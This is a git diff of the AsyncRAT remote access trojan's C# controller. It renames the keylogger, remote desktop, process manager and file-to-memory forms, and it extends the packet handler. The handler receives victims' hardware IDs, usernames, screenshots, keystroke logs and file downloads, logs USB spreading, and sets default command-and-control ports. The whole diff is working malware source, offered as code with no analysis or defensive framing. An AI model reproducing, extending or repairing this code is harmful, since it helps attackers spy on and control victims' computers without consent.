AsyncRAT_Sharp.Forms { - partial class Keylogger + partial class FormKeylogger { /// /// Required designer variable. @@ -29,7 +29,7 @@ private void InitializeComponent() { this.components = new System.ComponentModel.Container(); - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Keylogger)); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormKeylogger)); this.richTextBox1 = new System.Windows.Forms.RichTextBox(); this.timer1 = new System.Windows.Forms.Timer(this.components); this.SuspendLayout(); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.cs similarity index 92% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.cs index 5b5c040..97b9a5b 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.cs @@ -13,9 +13,9 @@ using System.Windows.Forms; namespace AsyncRAT_Sharp.Forms { - public partial class Keylogger : Form + public partial class FormKeylogger : Form { - public Keylogger() + public FormKeylogger() { InitializeComponent(); } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.resx rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/PortsFrm.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.Designer.cs similarity index 96% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/PortsFrm.Designer.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.Designer.cs index ab5490e..a171863 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/PortsFrm.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.Designer.cs @@ -1,6 +1,6 @@ namespace AsyncRAT_Sharp.Forms { - partial class PortsFrm + partial class FormPorts { /// /// Required designer variable. @@ -28,7 +28,7 @@ /// private void InitializeComponent() { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(PortsFrm)); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormPorts)); this.textPorts = new System.Windows.Forms.TextBox(); this.label1 = new System.Windows.Forms.Label(); this.groupBox1 = new System.Windows.Forms.GroupBox(); @@ -93,7 +93,7 @@ this.button1.UseVisualStyleBackColor = true; this.button1.Click += new System.EventHandler(this.button1_Click); // - // PortsFrm + // FormPorts // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; @@ -103,9 +103,8 @@ this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.MaximizeBox = false; this.MinimizeBox = false; - this.Name = "PortsFrm"; + this.Name = "FormPorts"; this.ShowInTaskbar = false; - this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.Text = "PortsFrm"; this.TopMost = true; this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.PortsFrm_FormClosed); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/PortsFrm.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.cs similarity index 89% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/PortsFrm.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.cs index 38d743b..f5fa981 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/PortsFrm.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.cs @@ -4,10 +4,10 @@ using System.IO; using System.Diagnostics; namespace AsyncRAT_Sharp.Forms { - public partial class PortsFrm : Form + public partial class FormPorts : Form { private static bool isOK = false; - public PortsFrm() + public FormPorts() { InitializeComponent(); this.Opacity = 0; @@ -15,10 +15,11 @@ namespace AsyncRAT_Sharp.Forms private void PortsFrm_Load(object sender, EventArgs e) { - Methods.FadeIn(this, 5); + Methods.FadeIn(this, 5); textPorts.Text = Settings.Port; + textPorts.Text = "6606, 7707, 8808"; if (Properties.Settings.Default.Ports.Length > 0) textPorts.Text = Properties.Settings.Default.Ports; diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/PortsFrm.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/PortsFrm.resx rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.Designer.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.Designer.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.Designer.cs index 87a18cf..bf71cd7 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.Designer.cs @@ -1,6 +1,6 @@ namespace AsyncRAT_Sharp.Forms { - partial class ProcessManager + partial class FormProcessManager { /// /// Required designer variable. @@ -29,7 +29,7 @@ private void InitializeComponent() { this.components = new System.ComponentModel.Container(); - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ProcessManager)); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormProcessManager)); this.listView1 = new System.Windows.Forms.ListView(); this.lv_name = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_id = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.cs similarity index 95% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.cs index 23308c1..4397b5f 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.cs @@ -13,9 +13,9 @@ using AsyncRAT_Sharp.Sockets; namespace AsyncRAT_Sharp.Forms { - public partial class ProcessManager : Form + public partial class FormProcessManager : Form { - public ProcessManager() + public FormProcessManager() { InitializeComponent(); } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.resx rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.Designer.cs similarity index 86% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.Designer.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.Designer.cs index abaeb4a..f520941 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.Designer.cs @@ -1,6 +1,6 @@ namespace AsyncRAT_Sharp.Forms { - partial class RemoteDesktop + partial class FormRemoteDesktop { /// /// Required designer variable. @@ -29,7 +29,7 @@ private void InitializeComponent() { this.components = new System.ComponentModel.Container(); - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(RemoteDesktop)); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormRemoteDesktop)); this.pictureBox1 = new System.Windows.Forms.PictureBox(); this.timer1 = new System.Windows.Forms.Timer(this.components); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); @@ -47,21 +47,18 @@ // // timer1 // - this.timer1.Enabled = true; - this.timer1.Interval = 1000; + this.timer1.Interval = 2000; this.timer1.Tick += new System.EventHandler(this.timer1_Tick); // - // RemoteDesktop + // FormRemoteDesktop // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(938, 485); this.Controls.Add(this.pictureBox1); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.Name = "RemoteDesktop"; + this.Name = "FormRemoteDesktop"; this.Text = "RemoteDesktop"; - //this.Activated += new System.EventHandler(this.RemoteDesktop_Activated); - //this.Deactivate += new System.EventHandler(this.RemoteDesktop_Deactivate); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); this.ResumeLayout(false); @@ -70,6 +67,6 @@ #endregion public System.Windows.Forms.PictureBox pictureBox1; - private System.Windows.Forms.Timer timer1; + public System.Windows.Forms.Timer timer1; } } \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs similarity index 88% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs index 8a7346b..2310a3e 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs @@ -16,15 +16,16 @@ using System.Threading; namespace AsyncRAT_Sharp.Forms { - public partial class RemoteDesktop : Form + public partial class FormRemoteDesktop : Form { - public RemoteDesktop() + public FormRemoteDesktop() { InitializeComponent(); } public Form1 F { get; set; } internal Clients C { get; set; } + internal Clients C2 { get; set; } public bool Active { get; set; } public int FPS = 0; public Stopwatch sw = Stopwatch.StartNew(); @@ -33,7 +34,7 @@ namespace AsyncRAT_Sharp.Forms private void timer1_Tick(object sender, EventArgs e) { - if (!C.ClientSocket.Connected) this.Close(); + if (!C.ClientSocket.Connected || !C2.ClientSocket.Connected ) this.Close(); } //private void RemoteDesktop_Activated(object sender, EventArgs e) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.resx rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/SendFileToMemory.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.Designer.cs similarity index 99% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/SendFileToMemory.Designer.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.Designer.cs index 2103cad..9c3b1a4 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/SendFileToMemory.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.Designer.cs @@ -1,6 +1,6 @@ namespace AsyncRAT_Sharp { - partial class SendFileToMemory + partial class FormSendFileToMemory { /// /// Required designer variable. @@ -28,7 +28,7 @@ /// private void InitializeComponent() { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(SendFileToMemory)); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormSendFileToMemory)); this.groupBox1 = new System.Windows.Forms.GroupBox(); this.button1 = new System.Windows.Forms.Button(); this.label2 = new System.Windows.Forms.Label(); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/SendFileToMemory.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.cs similarity index 95% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/SendFileToMemory.cs rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.cs index 87c4e93..589696a 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/SendFileToMemory.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.cs @@ -12,9 +12,9 @@ using System.Reflection; namespace AsyncRAT_Sharp { - public partial class SendFileToMemory : Form + public partial class FormSendFileToMemory : Form { - public SendFileToMemory() + public FormSendFileToMemory() { InitializeComponent(); } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/SendFileToMemory.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.resx similarity index 100% rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/SendFileToMemory.resx rename to AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.resx diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleLogs.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleLogs.cs index 980870a..db85655 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleLogs.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleLogs.cs @@ -12,17 +12,19 @@ namespace AsyncRAT_Sharp.Handle_Packet { public static void Addmsg(string Msg, Color color) { - if (Program.form1.listView1.InvokeRequired) + if (Program.form1.listView2.InvokeRequired) { - Program.form1.listView1.BeginInvoke((MethodInvoker)(() => + Program.form1.listView2.BeginInvoke((MethodInvoker)(() => { ListViewItem LV = new ListViewItem(); LV.Text = DateTime.Now.ToLongTimeString(); LV.SubItems.Add(Msg); LV.ForeColor = color; + Program.form1.listView2.BeginUpdate(); Program.form1.listView2.Items.Insert(0, LV); + Program.form1.listView2.EndUpdate(); })); } } } -} +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs index 9358a9d..2cdd29f 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs @@ -12,16 +12,16 @@ namespace AsyncRAT_Sharp.Handle_Packet { class HandlePacket { - private static cGeoMain cNewGeoUse = new cGeoMain(); + private static readonly cGeoMain cNewGeoUse = new cGeoMain(); public static void Read(object Obj) { try { object[] array = Obj as object[]; - byte[] Data = (byte[])array[0]; - Clients Client = (Clients)array[1]; + byte[] data = (byte[])array[0]; + Clients client = (Clients)array[1]; MsgPack unpack_msgpack = new MsgPack(); - unpack_msgpack.DecodeFromBytes(Data); + unpack_msgpack.DecodeFromBytes(data); switch (unpack_msgpack.ForcePathObject("Packet").AsString) { case "ClientInfo": @@ -29,25 +29,28 @@ namespace AsyncRAT_Sharp.Handle_Packet { Program.form1.listView1.BeginInvoke((MethodInvoker)(() => { - Client.LV = new ListViewItem(); - Client.LV.Tag = Client; - Client.LV.Text = string.Format("{0}:{1}", Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], Client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]); - string[] ipinf = cNewGeoUse.GetIpInf(Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':'); - Client.LV.SubItems.Add(ipinf[1]); - Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString); - Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); - Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); - Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString); - Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString); - Client.LV.ToolTipText = unpack_msgpack.ForcePathObject("Path").AsString; - Client.ID = unpack_msgpack.ForcePathObject("HWID").AsString; - Program.form1.listView1.Items.Insert(0, Client.LV); - lock (Settings.Online) - { - Settings.Online.Add(Client); - } + client.LV = new ListViewItem(); + client.LV.Tag = client; + client.LV.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]); + string[] ipinf = cNewGeoUse.GetIpInf(client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':'); + client.LV.SubItems.Add(ipinf[1]); + client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString); + client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); + client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); + client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString); + client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString); + client.LV.ToolTipText = unpack_msgpack.ForcePathObject("Path").AsString; + client.ID = unpack_msgpack.ForcePathObject("HWID").AsString; + Program.form1.listView1.BeginUpdate(); + Program.form1.listView1.Items.Insert(0, client.LV); + Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); + Program.form1.listView1.EndUpdate(); })); - HandleLogs.Addmsg($"Client {Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green); + lock (Settings.Online) + { + Settings.Online.Add(client); + } + HandleLogs.Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green); } break; @@ -57,9 +60,9 @@ namespace AsyncRAT_Sharp.Handle_Packet { Program.form1.listView1.BeginInvoke((MethodInvoker)(() => { - if (Client.LV != null) + if (client.LV != null) { - Client.LV.SubItems[Program.form1.lv_prefor.Index].Text = unpack_msgpack.ForcePathObject("Message").AsString; + client.LV.SubItems[Program.form1.lv_prefor.Index].Text = unpack_msgpack.ForcePathObject("Message").AsString; } })); } @@ -72,17 +75,51 @@ namespace AsyncRAT_Sharp.Handle_Packet } break; + case "thumbnails": + { + if (Program.form1.listView3.InvokeRequired) + { + Program.form1.listView3.BeginInvoke((MethodInvoker)(() => + { + if (client.LV2 == null) + { + client.LV2 = new ListViewItem(); + client.LV2.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]); + client.LV2.ToolTipText = client.ID; + using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes())) + { + Program.form1.imageList1.Images.Add(client.ID, Bitmap.FromStream(memoryStream)); + client.LV2.ImageKey = client.ID; + Program.form1.listView3.BeginUpdate(); + Program.form1.listView3.Items.Insert(0,client.LV2); + Program.form1.listView3.EndUpdate(); + } + } + else + { + using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes())) + { + Program.form1.listView3.BeginUpdate(); + Program.form1.imageList1.Images.RemoveByKey(client.ID); + Program.form1.imageList1.Images.Add(client.ID, Bitmap.FromStream(memoryStream)); + Program.form1.listView3.EndUpdate(); + } + } + })); + } + } + break; case "BotKiller": { - HandleLogs.Addmsg($"Client {Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} malwares and killed them successfully", Color.Orange); + HandleLogs.Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} malwares and killed them successfully", Color.Orange); } break; case "usbSpread": { - HandleLogs.Addmsg($"Client {Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} USB drivers and spreaded them successfully", Color.Purple); + HandleLogs.Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} USB drivers and spreaded them successfully", Color.Purple); } break; @@ -92,7 +129,7 @@ namespace AsyncRAT_Sharp.Handle_Packet { Program.form1.listView1.BeginInvoke((MethodInvoker)(() => { - Client.LV.ForeColor = Color.Empty; + client.LV.ForeColor = Color.Empty; })); } } @@ -104,11 +141,16 @@ namespace AsyncRAT_Sharp.Handle_Packet { Program.form1.BeginInvoke((MethodInvoker)(() => { - RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString]; + FormRemoteDesktop RD = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString]; try { if (RD != null) { + if (RD.C2 == null) + { + RD.C2 = client; + RD.timer1.Start(); + } byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream)); @@ -120,18 +162,14 @@ namespace AsyncRAT_Sharp.Handle_Packet RD.FPS++; if (RD.sw.ElapsedMilliseconds >= 1000) { - RD.Text = "RemoteDesktop:" + Client.ID + " FPS:" + RD.FPS + " Screen:" + decoded.Width + " x " + decoded.Height + " Size:" + Methods.BytesToString(RdpStream.Length); + RD.Text = "RemoteDesktop:" + client.ID + " FPS:" + RD.FPS + " Screen:" + decoded.Width + " x " + decoded.Height + " Size:" + Methods.BytesToString(RdpStream.Length); RD.FPS = 0; RD.sw = Stopwatch.StartNew(); } } else { - //MsgPack msgpack = new MsgPack(); - //msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; - //msgpack.ForcePathObject("Option").AsString = "false"; - //Client.BeginSend(msgpack.Encode2Bytes()); - Client.Disconnected(); + client.Disconnected(); return; } } @@ -147,13 +185,13 @@ namespace AsyncRAT_Sharp.Handle_Packet { Program.form1.BeginInvoke((MethodInvoker)(() => { - ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + Client.ID]; + FormProcessManager PM = (FormProcessManager)Application.OpenForms["processManager:" + client.ID]; if (PM != null) { PM.listView1.Items.Clear(); - string AllProcess = unpack_msgpack.ForcePathObject("Message").AsString; - string data = AllProcess.ToString(); - string[] _NextProc = data.Split(new[] { "-=>" }, StringSplitOptions.None); + string msgUnpack = unpack_msgpack.ForcePathObject("Message").AsString; + string processLists = msgUnpack.ToString(); + string[] _NextProc = processLists.Split(new[] { "-=>" }, StringSplitOptions.None); for (int i = 0; i < _NextProc.Length; i++) { if (_NextProc[i].Length > 0) @@ -190,10 +228,10 @@ namespace AsyncRAT_Sharp.Handle_Packet string dwid = unpack_msgpack.ForcePathObject("DWID").AsString; string file = unpack_msgpack.ForcePathObject("File").AsString; string size = unpack_msgpack.ForcePathObject("Size").AsString; - DownloadFile SD = (DownloadFile)Application.OpenForms["socketDownload:" + dwid]; + FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; if (SD != null) { - SD.C = Client; + SD.C = client; SD.labelfile.Text = Path.GetFileName(file); SD.dSize = Convert.ToInt64(size); SD.timer1.Start(); @@ -210,7 +248,7 @@ namespace AsyncRAT_Sharp.Handle_Packet Program.form1.BeginInvoke((MethodInvoker)(() => { string dwid = unpack_msgpack.ForcePathObject("DWID").AsString; - DownloadFile SD = (DownloadFile)Application.OpenForms["socketDownload:" + dwid]; + FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; if (SD != null) { if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "")))) @@ -232,7 +270,7 @@ namespace AsyncRAT_Sharp.Handle_Packet { Program.form1.BeginInvoke((MethodInvoker)(() => { - Keylogger KL = (Keylogger)Application.OpenForms["keyLogger:" + Client.ID]; + FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID]; if (KL != null) { KL.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("Log").GetAsString()); @@ -242,7 +280,7 @@ namespace AsyncRAT_Sharp.Handle_Packet MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "keyLogger"; msgpack.ForcePathObject("isON").AsString = "false"; - Client.BeginSend(msgpack.Encode2Bytes()); + client.BeginSend(msgpack.Encode2Bytes()); } })); } @@ -259,7 +297,7 @@ namespace AsyncRAT_Sharp.Handle_Packet { Program.form1.BeginInvoke((MethodInvoker)(() => { - FileManager FM = (FileManager)Application.OpenForms["fileManager:" + Client.ID]; + FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; if (FM != null) { FM.listView1.Items.Clear(); @@ -290,7 +328,7 @@ namespace AsyncRAT_Sharp.Handle_Packet { Program.form1.BeginInvoke((MethodInvoker)(() => { - FileManager FM = (FileManager)Application.OpenForms["fileManager:" + Client.ID]; + FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; if (FM != null) { FM.listView1.Items.Clear(); @@ -351,8 +389,8 @@ namespace AsyncRAT_Sharp.Handle_Packet { Debug.WriteLine(ex.Message); } - GC.Collect(); - GC.WaitForPendingFinalizers(); + //GC.Collect(); + //GC.WaitForPendingFinalizers(); } } } \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/Methods.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Helper/Methods.cs index cb11ebe..6518bfb 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/Methods.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Helper/Methods.cs @@ -17,7 +17,7 @@ namespace AsyncRAT_Sharp return (Math.Sign(byteCount) * num).ToString() + suf[place]; } - public static async void FadeIn(Form o, int interval = 80) + public static async Task FadeIn(Form o, int interval = 80) { while (o.Opacity < 1.0) { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs index 519527c..3d5c40d 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs @@ -19,7 +19,7 @@ namespace AsyncRAT_Sharp.Properties { // class via a tool like ResGen or Visual Studio. // To add or remove a member, edit your .ResX file then rerun ResGen // with the /str option, or rebuild your VS project. - [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "15.0.0.0")] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] internal class Resources { @@ -74,6 +74,26 @@ namespace AsyncRAT_Sharp.Properties { } } + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap botkiller { + get { + object obj = ResourceManager.GetObject("botkiller", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap builder { + get { + object obj = ResourceManager.GetObject("builder", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + /// /// Looks up a localized resource of type System.Byte[]. /// @@ -84,6 +104,26 @@ namespace AsyncRAT_Sharp.Properties { } } + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap circle_loading_gif { + get { + object obj = ResourceManager.GetObject("circle-loading-gif", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap client { + get { + object obj = ResourceManager.GetObject("client", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + /// /// Looks up a localized resource of type System.Byte[]. /// @@ -94,6 +134,56 @@ namespace AsyncRAT_Sharp.Properties { } } + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap filemanager { + get { + object obj = ResourceManager.GetObject("filemanager", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap info { + get { + object obj = ResourceManager.GetObject("info", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap logger { + get { + object obj = ResourceManager.GetObject("logger", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap msgbox { + get { + object obj = ResourceManager.GetObject("msgbox", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap play_button { + get { + object obj = ResourceManager.GetObject("play-button", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + /// /// Looks up a localized resource of type System.Byte[]. /// @@ -104,6 +194,36 @@ namespace AsyncRAT_Sharp.Properties { } } + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap process { + get { + object obj = 